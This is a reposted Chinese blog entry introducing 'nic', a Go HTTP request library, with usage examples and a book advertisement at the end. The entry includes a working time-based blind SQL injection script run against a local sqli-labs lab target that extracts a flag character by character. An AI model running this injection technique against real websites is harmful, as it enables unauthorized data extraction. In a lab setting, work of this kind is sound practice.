内容简介:对Golang HTTP标准库进行了封装,提供了更易用优雅的API,类似于Python-requests之于Python-urllib的封装示例代码
对Golang HTTP标准库进行了封装,提供了更易用优雅的API,类似于Python-requests之于Python-urllib的封装
示例代码
import ( "github.com/eddieivan01/nic" ) func main() { url := "http://example.com" resp, err := nic.Post(url, &nic.H{ JSON: nic.KV { "hello": "world", }, Headers: nic.KV{ "X-Forwarded-For": "127.0.0.1", }, }) if err != nil { fmt.Fatal(err.Error()) } fmt.Println(resp.Text) // 修改响应编码 err = resp.SetEncode("gbk") if err != nil { fmt.Fatal(err.Error()) } fmt.Println(resp.Text) }
// session 保持Cookie session := &nic.Session{} session.Post("http://example.com/login", &nic.H{ Data: nic.KV{ "uname": "nic", "passwd": "nic", } }) resp, _ := session.Get("http://example.com/userinfo", nil) fmt.Println(resp.Text)
// 上传文件 resp, err := nic.Post(url, &nic.H{ Files : nic.F{ "file" : nic.KV{ // `filename`为必须参数,本地文件路径 // 将会把`nic.go`作为MIME表单的filename "filename" : `/home/nic/nic.go`, "token" : "0xff", }, }, })
最近就试了试,SQL时间盲注脚本,结合goroutine速度快过SQLmap --threads 8
package main import ( "fmt" "time" "github.com/eddieivan01/nic" ) var flag = [32]byte{} func display() { for { time.Sleep(time.Duration(1) * time.Second) fmt.Println(string(flag[:])) } } func main() { payload := `select flag from flag` var url string for i := 1; i < 30; i++ { go func(i int) { for _, j := range []byte("{}qwertyuioplkjhgfdsazxcvbnm098764321_") { url = fmt.Sprintf("http://127.0.0.1/sqli/Less-1/?id=1' and if(mid((%s),%d,1)='%v',sleep(3),0)-- -", payload, i, string(j)) _, err := nic.Get(url, &nic.H{ Timeout: 3, }) if err != nil { flag[i-1] = byte(j) return } } }(i) } display() }
欢迎大家提出 增加新features/改进现有 的意见
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 详解nginx的请求限制(连接限制和请求限制)
- angular请求防抖,以及处理第一次请求失效
- RxHttp 一条链发送请求,新一代Http请求神器(一)
- RxHttp 一条链发送请求,新一代Http请求神器(一)
- 利用Jsonp跨域请求数据(原生和Jquery的ajax请求),简单易懂!
- Python网络请求库Requests,妈妈再也不担心我的网络请求了
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
淘宝、天猫电商运营百科全书
刘涛 / 电子工业出版社 / 2016-7 / 59.00元
有人说淘宝、天猫上90%的卖家不赚钱,我认为说得有点大了。因为如果说大家都不赚钱或者在亏钱,为什么去年在做店铺的卖家,今年还在继续?那些不赚钱的卖家,多数是没意识到市场的变化,还在用原来的套路运营店铺。市场在变,但卖家的思路却没有转变,不赚钱也在情理之中,因为淘宝、天猫的玩法变了。做店铺就是好比一场“打怪”升级的游戏,每次的升级都需要强大的装备与攻略。优胜劣汰,能活下去并且能赚钱的卖家,都是在不停......一起来看看 《淘宝、天猫电商运营百科全书》 这本书的介绍吧!